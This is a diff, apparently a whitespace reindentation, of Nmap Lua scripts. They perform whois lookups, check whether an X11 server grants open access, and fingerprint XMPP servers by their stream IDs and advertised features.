-- Remove www prefix and add a newline.
|
||||||
local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
|
local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
|
||||||
|
|
||||||
local result
|
local result
|
||||||
|
|
||||||
-- First server to query is iana's.
|
-- First server to query is iana's.
|
||||||
local referral = "whois.iana.org"
|
local referral = "whois.iana.org"
|
||||||
|
|
||||||
while referral do
|
while referral do
|
||||||
|
|
||||||
if not mutexes[referral] then
|
if not mutexes[referral] then
|
||||||
mutexes[referral] = nmap.mutex(referral)
|
mutexes[referral] = nmap.mutex(referral)
|
||||||
end
|
end
|
||||||
|
|
||||||
mutexes[referral] "lock"
|
mutexes[referral] "lock"
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function()
|
local catch = function()
|
||||||
stdnse.print_debug( "fail")
|
stdnse.print_debug( "fail")
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, line = {}
|
local status, line = {}
|
||||||
local try = nmap.new_try( catch )
|
local try = nmap.new_try( catch )
|
||||||
|
|
||||||
socket:set_timeout( 50000 )
|
socket:set_timeout( 50000 )
|
||||||
|
|
||||||
try( socket:connect(referral, 43 ) )
|
try( socket:connect(referral, 43 ) )
|
||||||
try( socket:send( query_data ) )
|
try( socket:send( query_data ) )
|
||||||
|
|
||||||
while true do
|
|
||||||
local status, lines = socket:receive_lines(1)
|
|
||||||
if not status then
|
|
||||||
break
|
|
||||||
else
|
|
||||||
result[#result+1] = lines
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
socket:close()
|
|
||||||
|
|
||||||
mutexes[referral] "done"
|
|
||||||
|
|
||||||
if #result == 0 then
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
|
|
||||||
|
|
||||||
-- Do we have a referral?
|
|
||||||
referral = false
|
|
||||||
for _, p in ipairs(referral_patterns) do
|
|
||||||
referral = referral or string.match(table.concat(result), p)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
while true do
|
||||||
|
local status, lines = socket:receive_lines(1)
|
||||||
|
if not status then
|
||||||
|
break
|
||||||
|
else
|
||||||
|
result[#result+1] = lines
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
socket:close()
|
||||||
|
|
||||||
|
mutexes[referral] "done"
|
||||||
|
|
||||||
|
if #result == 0 then
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
|
||||||
|
|
||||||
|
-- Do we have a referral?
|
||||||
|
referral = false
|
||||||
|
for _, p in ipairs(referral_patterns) do
|
||||||
|
referral = referral or string.match(table.concat(result), p)
|
||||||
|
end
|
||||||
|
|
||||||
result = table.concat( result )
|
|
||||||
return result
|
|
||||||
end
|
end
|
||||||
return "You should provide a domain name."
|
|
||||||
|
result = table.concat( result )
|
||||||
|
return result
|
||||||
|
end
|
||||||
|
return "You should provide a domain name."
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
1490
scripts/whois-ip.nse
1490
scripts/whois-ip.nse
File diff suppressed because it is too large
Load Diff
@@ -28,47 +28,47 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"default", "safe", "auth"}
|
categories = {"default", "safe", "auth"}
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
return ((port.number >= 6000 and port.number <= 6009)
|
return ((port.number >= 6000 and port.number <= 6009)
|
||||||
or (port.service and string.match(port.service, "^X11")))
|
or (port.service and string.match(port.service, "^X11")))
|
||||||
-- If port.version.product is not equal to nil, version
|
-- If port.version.product is not equal to nil, version
|
||||||
-- detection "-sV" has already done this X server test.
|
-- detection "-sV" has already done this X server test.
|
||||||
and port.version.product == nil
|
and port.version.product == nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local result, socket, try, catch
|
local result, socket, try, catch
|
||||||
socket = nmap.new_socket()
|
socket = nmap.new_socket()
|
||||||
catch = function()
|
catch = function()
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
try = nmap.new_try(catch)
|
try = nmap.new_try(catch)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
-- Sending the network dump of a x11 connection request (captured
|
-- Sending the network dump of a x11 connection request (captured
|
||||||
-- from the XOpenDisplay() function):
|
-- from the XOpenDisplay() function):
|
||||||
--
|
--
|
||||||
-- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
|
-- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
|
||||||
-- 0x00 0x00 0x00 0x00 0x00 0x00
|
-- 0x00 0x00 0x00 0x00 0x00 0x00
|
||||||
try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
|
try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
|
||||||
|
|
||||||
-- According to the XOpenDisplay() sources, server answer is
|
-- According to the XOpenDisplay() sources, server answer is
|
||||||
-- stored in a xConnSetupPrefix structure [1]. The function
|
-- stored in a xConnSetupPrefix structure [1]. The function
|
||||||
-- returns NULL if it does not succeed, and more precisely: When
|
-- returns NULL if it does not succeed, and more precisely: When
|
||||||
-- the success field of this structure (stored on 1 byte) is not
|
-- the success field of this structure (stored on 1 byte) is not
|
||||||
-- equal to xTrue [2]. For more information, see the Xlib
|
-- equal to xTrue [2]. For more information, see the Xlib
|
||||||
-- programming Manual [3].
|
-- programming Manual [3].
|
||||||
--
|
--
|
||||||
-- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
|
-- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
|
||||||
-- [2] xTrue = 0x01 according to X11/Xproto.h.
|
-- [2] xTrue = 0x01 according to X11/Xproto.h.
|
||||||
-- [3] http://www.sbin.org/doc/Xlib
|
-- [3] http://www.sbin.org/doc/Xlib
|
||||||
|
|
||||||
result = try(socket:receive_bytes(1))
|
result = try(socket:receive_bytes(1))
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
-- Check if first byte received is 0x01 (xTrue: succeed).
|
-- Check if first byte received is 0x01 (xTrue: succeed).
|
||||||
if string.match(result, "^\001") then
|
if string.match(result, "^\001") then
|
||||||
return true, "X server access is granted"
|
return true, "X server access is granted"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -74,401 +74,401 @@ categories = {"default", "safe", "discovery", "version"}
|
|||||||
|
|
||||||
|
|
||||||
local known_features = {
|
local known_features = {
|
||||||
['starttls'] = true,
|
['starttls'] = true,
|
||||||
['compression'] = true,
|
['compression'] = true,
|
||||||
['mechanisms'] = true,
|
['mechanisms'] = true,
|
||||||
['register'] = true,
|
['register'] = true,
|
||||||
['dialback'] = true,
|
['dialback'] = true,
|
||||||
['session'] = true,
|
['session'] = true,
|
||||||
['auth'] = true,
|
['auth'] = true,
|
||||||
['bind'] = true,
|
['bind'] = true,
|
||||||
['c'] = true,
|
['c'] = true,
|
||||||
['sm'] = true,
|
['sm'] = true,
|
||||||
['amp'] = true,
|
['amp'] = true,
|
||||||
['ver'] = true
|
['ver'] = true
|
||||||
}
|
}
|
||||||
|
|
||||||
local check_citadele = function(id1, id2)
|
local check_citadele = function(id1, id2)
|
||||||
stdnse.print_debug("CHECK")
|
stdnse.print_debug("CHECK")
|
||||||
local i1 = tonumber(id1, 16)
|
local i1 = tonumber(id1, 16)
|
||||||
local i2 = tonumber(id2, 16)
|
local i2 = tonumber(id2, 16)
|
||||||
return i2 - i1 < 20 and i2 > i1
|
return i2 - i1 < 20 and i2 > i1
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Be carefull while adding fingerprints into the table - it must be well sorted
|
-- Be carefull while adding fingerprints into the table - it must be well sorted
|
||||||
-- as some fingerprints are actually supersetted by another...
|
-- as some fingerprints are actually supersetted by another...
|
||||||
local id_database = {
|
local id_database = {
|
||||||
{
|
{
|
||||||
--f3af7012-5d06-41dc-b886-42521de4e198
|
--f3af7012-5d06-41dc-b886-42521de4e198
|
||||||
--''
|
--''
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
|
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 12) .. '$',
|
string.rep('[0-9a-f]', 12) .. '$',
|
||||||
regexp2 = '^$',
|
regexp2 = '^$',
|
||||||
name = 'prosody'
|
name = 'prosody'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
|
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
|
regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
|
||||||
name = 'Citidel',
|
name = 'Citidel',
|
||||||
check = check_citadele
|
check = check_citadele
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--1082952309
|
--1082952309
|
||||||
--(no)
|
--(no)
|
||||||
regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
|
regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
|
||||||
regexp2 = nil,
|
regexp2 = nil,
|
||||||
name = 'jabberd'
|
name = 'jabberd'
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
--1082952309
|
--1082952309
|
||||||
--(no)
|
--(no)
|
||||||
regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
|
regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
|
||||||
regexp2 = nil,
|
regexp2 = nil,
|
||||||
name = 'jabberd'
|
name = 'jabberd'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
|
--8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
|
||||||
--egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
|
--egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
|
||||||
regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
|
regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
|
regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
|
||||||
name = 'jabberd2'
|
name = 'jabberd2'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--4c9e369a841db417
|
--4c9e369a841db417
|
||||||
--fc0a60b82275289e
|
--fc0a60b82275289e
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
||||||
name = 'Isode M-Link'
|
name = 'Isode M-Link'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--1114798225
|
--1114798225
|
||||||
--494549622
|
--494549622
|
||||||
regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
|
regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
|
regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
|
||||||
name = 'ejabberd'
|
name = 'ejabberd'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--5f049d72
|
--5f049d72
|
||||||
--3b5b40b
|
--3b5b40b
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
|
regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
|
regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
|
||||||
name = 'Openfire'
|
name = 'Openfire'
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
||||||
{
|
{
|
||||||
--c7cd895f-e006-473b-9623-c0aae85f17fc
|
--c7cd895f-e006-473b-9623-c0aae85f17fc
|
||||||
--tigase-error-tigase
|
--tigase-error-tigase
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
|
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
string.rep('[0-9a-f]', 4) .. '[-]' ..
|
||||||
string.rep('[0-9a-f]', 12) .. '$',
|
string.rep('[0-9a-f]', 12) .. '$',
|
||||||
regexp2 = '^tigase[-]error[-]tigase$',
|
regexp2 = '^tigase[-]error[-]tigase$',
|
||||||
name = 'Tigase'
|
name = 'Tigase'
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
-- tigase.org (in case of bad DNS name):
|
-- tigase.org (in case of bad DNS name):
|
||||||
--tigase-error-tigase
|
--tigase-error-tigase
|
||||||
--tigase-error-tigase
|
--tigase-error-tigase
|
||||||
regexp1 = '^tigase[-]error[-]tigase$',
|
regexp1 = '^tigase[-]error[-]tigase$',
|
||||||
regexp2 = '^tigase[-]error[-]tigase$',
|
regexp2 = '^tigase[-]error[-]tigase$',
|
||||||
name = 'Tigase'
|
name = 'Tigase'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
--4c9e369a841db417
|
--4c9e369a841db417
|
||||||
--fc0a60b82275289e
|
--fc0a60b82275289e
|
||||||
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
||||||
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
|
||||||
name = 'Isode M-Link'
|
name = 'Isode M-Link'
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
regexp1 = "^c2s_",
|
regexp1 = "^c2s_",
|
||||||
regexp2 = "^c2s_",
|
regexp2 = "^c2s_",
|
||||||
name = 'VKontakte/XMPP'
|
name = 'VKontakte/XMPP'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
local receive_tag = function(conn)
|
local receive_tag = function(conn)
|
||||||
local status, data = conn:receive_buf(">", true)
|
local status, data = conn:receive_buf(">", true)
|
||||||
if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end
|
if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end
|
||||||
return status and xmpp.XML.parse_tag(data)
|
return status and xmpp.XML.parse_tag(data)
|
||||||
end
|
end
|
||||||
|
|
||||||
local log_tag = function(tag)
|
local log_tag = function(tag)
|
||||||
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name)
|
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name)
|
||||||
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish))
|
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish))
|
||||||
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty))
|
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty))
|
||||||
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents)
|
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents)
|
||||||
end
|
end
|
||||||
|
|
||||||
local make_request = function(server_name, xmlns)
|
local make_request = function(server_name, xmlns)
|
||||||
local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
|
local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
|
||||||
" xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
|
" xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
|
||||||
return request
|
return request
|
||||||
end
|
end
|
||||||
|
|
||||||
local connect_tls = function(s, xmlns, server_name)
|
local connect_tls = function(s, xmlns, server_name)
|
||||||
local request = make_request(server_name, xmlns)
|
local request = make_request(server_name, xmlns)
|
||||||
request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
|
request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
|
||||||
s:send(request)
|
s:send(request)
|
||||||
while true do
|
while true do
|
||||||
local tag = receive_tag(s)
|
local tag = receive_tag(s)
|
||||||
if not tag then break end
|
if not tag then break end
|
||||||
log_tag(tag)
|
log_tag(tag)
|
||||||
if tag.name == "proceed" and tag.finish then
|
if tag.name == "proceed" and tag.finish then
|
||||||
local status, error = s:reconnect_ssl()
|
local status, error = s:reconnect_ssl()
|
||||||
if status then return true end
|
if status then return true end
|
||||||
break
|
break
|
||||||
elseif tag.name == "failure" then
|
elseif tag.name == "failure" then
|
||||||
return false
|
return false
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local scan = function(host, port, server_name, tls)
|
local scan = function(host, port, server_name, tls)
|
||||||
local data, status
|
local data, status
|
||||||
local client = nmap.new_socket()
|
local client = nmap.new_socket()
|
||||||
local tls_text
|
local tls_text
|
||||||
local stream_id
|
local stream_id
|
||||||
|
|
||||||
-- Looks like 10 seconds is enough for non RFC-compliant servers...
|
-- Looks like 10 seconds is enough for non RFC-compliant servers...
|
||||||
client:set_timeout(10 * 1000);
|
client:set_timeout(10 * 1000);
|
||||||
|
|
||||||
local caps = stdnse.output_table()
|
local caps = stdnse.output_table()
|
||||||
local err = {}
|
local err = {}
|
||||||
local features_list = {}
|
local features_list = {}
|
||||||
local mechanisms = {}
|
local mechanisms = {}
|
||||||
local methods = {}
|
local methods = {}
|
||||||
local unknown = {}
|
local unknown = {}
|
||||||
local t_xmpp = stdnse.output_table()
|
local t_xmpp = stdnse.output_table()
|
||||||
|
|
||||||
local xmlns
|
local xmlns
|
||||||
stdnse.print_debug(port.version.name)
|
stdnse.print_debug(port.version.name)
|
||||||
if port.version.name == 'xmpp-client' then
|
if port.version.name == 'xmpp-client' then
|
||||||
xmlns = "'jabber:client'"
|
xmlns = "'jabber:client'"
|
||||||
|
else
|
||||||
|
xmlns = "'jabber:server'"
|
||||||
|
end
|
||||||
|
if tls then tls_text = ", tls" else tls_text = "" end
|
||||||
|
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
|
||||||
|
|
||||||
|
status, data = client:connect(host, port)
|
||||||
|
if not status then
|
||||||
|
client:close()
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if tls and not connect_tls(client, xmlns, server_name) then
|
||||||
|
client:close()
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
local request = make_request(server_name, xmlns)
|
||||||
|
|
||||||
|
if not client:send(request) then
|
||||||
|
client:close()
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
local tag_stack = {}
|
||||||
|
table.insert(tag_stack, "")
|
||||||
|
local _inside = function(...)
|
||||||
|
local v = select('#',...)
|
||||||
|
for n = 1, v do
|
||||||
|
local e = select(v - n + 1,...)
|
||||||
|
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
local inside = function(...) return _inside('stream:features', ...) end
|
||||||
|
|
||||||
|
local is_starttls, tls_required, in_error, got_text
|
||||||
|
while true do
|
||||||
|
local tag = receive_tag(client)
|
||||||
|
if not tag then
|
||||||
|
table.insert(err, "(timeout)")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
log_tag(tag)
|
||||||
|
if tag.name == "stream:features" and tag.finish then
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
if inside() and not known_features[tag.name] then
|
||||||
|
stdnse.print_debug(tag.name)
|
||||||
|
table.insert(unknown, tag.name)
|
||||||
|
end
|
||||||
|
|
||||||
|
if tag.name == "stream:stream" and tag.start then
|
||||||
|
--http://xmpp.org/extensions/xep-0198.html#ns
|
||||||
|
if tag.attrs['xmlns:ack'] and
|
||||||
|
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
|
||||||
|
table.insert(t_xmpp, "Stream Management")
|
||||||
|
end
|
||||||
|
if tag.attrs['xml:lang'] then
|
||||||
|
t_xmpp["lang"] = tag.attrs['xml:lang']
|
||||||
|
end
|
||||||
|
if tag.attrs.from and tag.attrs.from ~= server_name then
|
||||||
|
t_xmpp["server name"] = tag.attrs.from
|
||||||
|
end
|
||||||
|
|
||||||
|
stream_id = tag.attrs.id
|
||||||
|
|
||||||
|
if tag.attrs.version then
|
||||||
|
t_xmpp["version"] = tag.attrs.version
|
||||||
|
else
|
||||||
|
-- Alarm! Not an RFC-compliant server...
|
||||||
|
-- sample: chirimoyas.es
|
||||||
|
t_xmpp["version"] = "(none)"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if tag.name == "sm" and tag.start and inside() then
|
||||||
|
stdnse.print_debug("OK")
|
||||||
|
--http://xmpp.org/extensions/xep-0198.html
|
||||||
|
--sample: el-tramo.be
|
||||||
|
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
|
||||||
|
table.insert(features_list, 'Stream management v' .. version)
|
||||||
|
end
|
||||||
|
|
||||||
|
if tag.name == "starttls" and inside() then
|
||||||
|
is_starttls = true
|
||||||
|
elseif tag.name == "address" and tag.finish and inside() then
|
||||||
|
--http://delta.affinix.com/specs/xmppstream.html
|
||||||
|
table.insert(features_list, "MY IP: " .. tag.contents )
|
||||||
|
elseif tag.name == "ver" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0237.html
|
||||||
|
table.insert(features_list, "Roster Versioning")
|
||||||
|
elseif tag.name == "dialback" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0220.html
|
||||||
|
table.insert(features_list, "Server Dialback")
|
||||||
|
elseif tag.name == "session" and inside() then
|
||||||
|
--http://www.ietf.org/rfc/rfc3921.txt
|
||||||
|
table.insert(features_list, "IM Session Establishment")
|
||||||
|
elseif tag.name == "bind" and inside() then
|
||||||
|
--http://www.ietf.org/rfc/rfc3920.txt
|
||||||
|
table.insert(features_list, "Resource Binding")
|
||||||
|
elseif tag.name == "amp" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0079.html
|
||||||
|
table.insert(features_list, "Advanced Message Processing")
|
||||||
|
elseif tag.name == "register" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0077.html
|
||||||
|
--sample: jabber.ru
|
||||||
|
table.insert(features_list, "In-Band Registration")
|
||||||
|
elseif tag.name == "auth" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0078.html
|
||||||
|
table.insert(mechanisms, "Non-SASL")
|
||||||
|
elseif tag.name == "required" and inside('starttls') then
|
||||||
|
tls_required = true
|
||||||
|
elseif tag.name == "method" and inside('compression', 'method') then
|
||||||
|
--http://xmpp.org/extensions/xep-0138.html
|
||||||
|
if tag.finish then
|
||||||
|
table.insert(methods, tag.contents)
|
||||||
|
end
|
||||||
|
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
|
||||||
|
if tag.finish then
|
||||||
|
table.insert(mechanisms, tag.contents)
|
||||||
|
end
|
||||||
|
elseif tag.name == "c" and inside() then
|
||||||
|
--http://xmpp.org/extensions/xep-0115.html
|
||||||
|
--sample: jabber.ru
|
||||||
|
if tag.attrs and tag.attrs.node then
|
||||||
|
caps["node"] = tag.attrs.node
|
||||||
|
|
||||||
|
-- It is a table of well-known node values of "c" tag
|
||||||
|
-- If it matched then the server software is determined
|
||||||
|
--TODO: Add more hints
|
||||||
|
-- I cannot find any non-ejabberd public server publishing its <c> :(
|
||||||
|
local hints = {
|
||||||
|
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
|
||||||
|
}
|
||||||
|
local hint = hints[tag.attrs.node]
|
||||||
|
if hint then
|
||||||
|
port.state = "open"
|
||||||
|
port.version.product = hint
|
||||||
|
port.version.name_confidence = 10
|
||||||
|
nmap.set_port_version(host, port)
|
||||||
|
end
|
||||||
|
|
||||||
|
-- Funny situation: we have a hash of server capabilities list,
|
||||||
|
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
|
||||||
|
-- The ugly solution is checking the hash against the most popular capability sets...
|
||||||
|
caps["ver"] = tag.attrs.ver
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if tag.name == "stream:error" then
|
||||||
|
if tag.start then
|
||||||
|
in_error = tag.start
|
||||||
|
elseif not got_text then -- non-RFC compliant server!
|
||||||
|
if tag.contents ~= "" then
|
||||||
|
table.insert(err, {text= tag.contents})
|
||||||
|
end
|
||||||
|
in_error = false
|
||||||
|
end
|
||||||
|
elseif in_error then
|
||||||
|
if tag.name == "text" then
|
||||||
|
if tag.finish then
|
||||||
|
got_text = true
|
||||||
|
table.insert(err, {text= tag.contents})
|
||||||
|
end
|
||||||
|
else
|
||||||
|
table.insert(err, tag.name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if tag.start and not tag.finish then
|
||||||
|
table.insert(tag_stack, tag.name)
|
||||||
|
elseif not tag.start and tag.finish and #tag_stack > 1 then
|
||||||
|
table.remove(tag_stack, #tag_stack)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_starttls then
|
||||||
|
if tls_required then
|
||||||
|
table.insert(features_list, "TLS (required)")
|
||||||
else
|
else
|
||||||
xmlns = "'jabber:server'"
|
table.insert(features_list, "TLS")
|
||||||
end
|
end
|
||||||
if tls then tls_text = ", tls" else tls_text = "" end
|
end
|
||||||
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
|
|
||||||
|
|
||||||
status, data = client:connect(host, port)
|
return {
|
||||||
if not status then
|
stream_id=stream_id,
|
||||||
client:close()
|
xmpp=t_xmpp,
|
||||||
return
|
features=features_list,
|
||||||
end
|
capabilities=caps,
|
||||||
if tls and not connect_tls(client, xmlns, server_name) then
|
compression_methods=methods,
|
||||||
client:close()
|
auth_mechanisms=mechanisms,
|
||||||
return
|
errors=err,
|
||||||
end
|
unknown=unknown,
|
||||||
|
}
|
||||||
local request = make_request(server_name, xmlns)
|
|
||||||
|
|
||||||
if not client:send(request) then
|
|
||||||
client:close()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
local tag_stack = {}
|
|
||||||
table.insert(tag_stack, "")
|
|
||||||
local _inside = function(...)
|
|
||||||
local v = select('#',...)
|
|
||||||
for n = 1, v do
|
|
||||||
local e = select(v - n + 1,...)
|
|
||||||
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
|
|
||||||
end
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
local inside = function(...) return _inside('stream:features', ...) end
|
|
||||||
|
|
||||||
local is_starttls, tls_required, in_error, got_text
|
|
||||||
while true do
|
|
||||||
local tag = receive_tag(client)
|
|
||||||
if not tag then
|
|
||||||
table.insert(err, "(timeout)")
|
|
||||||
break
|
|
||||||
end
|
|
||||||
log_tag(tag)
|
|
||||||
if tag.name == "stream:features" and tag.finish then
|
|
||||||
break
|
|
||||||
end
|
|
||||||
|
|
||||||
if inside() and not known_features[tag.name] then
|
|
||||||
stdnse.print_debug(tag.name)
|
|
||||||
table.insert(unknown, tag.name)
|
|
||||||
end
|
|
||||||
|
|
||||||
if tag.name == "stream:stream" and tag.start then
|
|
||||||
--http://xmpp.org/extensions/xep-0198.html#ns
|
|
||||||
if tag.attrs['xmlns:ack'] and
|
|
||||||
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
|
|
||||||
table.insert(t_xmpp, "Stream Management")
|
|
||||||
end
|
|
||||||
if tag.attrs['xml:lang'] then
|
|
||||||
t_xmpp["lang"] = tag.attrs['xml:lang']
|
|
||||||
end
|
|
||||||
if tag.attrs.from and tag.attrs.from ~= server_name then
|
|
||||||
t_xmpp["server name"] = tag.attrs.from
|
|
||||||
end
|
|
||||||
|
|
||||||
stream_id = tag.attrs.id
|
|
||||||
|
|
||||||
if tag.attrs.version then
|
|
||||||
t_xmpp["version"] = tag.attrs.version
|
|
||||||
else
|
|
||||||
-- Alarm! Not an RFC-compliant server...
|
|
||||||
-- sample: chirimoyas.es
|
|
||||||
